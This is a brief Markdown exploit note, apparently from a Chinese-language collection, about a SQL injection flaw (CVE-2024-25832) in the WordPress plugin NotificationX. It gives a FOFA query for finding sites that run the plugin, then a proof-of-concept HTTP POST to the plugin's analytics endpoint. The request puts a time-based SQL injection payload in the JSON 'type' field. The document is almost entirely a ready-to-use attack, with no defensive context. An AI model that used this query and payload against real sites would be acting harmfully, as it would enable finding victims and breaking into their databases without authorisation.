16 lines
286 B
Markdown
16 lines
286 B
Markdown
|
## WordPress插件NotificationX存在sql注入漏洞(CVE-2024-25832)
|
||
|
|
|
||
|
|
## fofa
|
||
|
|
```
|
||
|
|
body="/wp-content/plugins/notificationx"
|
||
|
|
```
|
||
|
|
|
||
|
|
## poc
|
||
|
|
```
|
||
|
|
POST /wp-json/notificationx/v1/analytics HTTP/1.1
|
||
|
|
Host:
|
||
|
|
Content-Type: application/json
|
||
|
|
|
||
|
|
{"nx_id": "1","type": "clicks`=1 and 1=sleep(5)-- -"}
|
||
|
|
```
|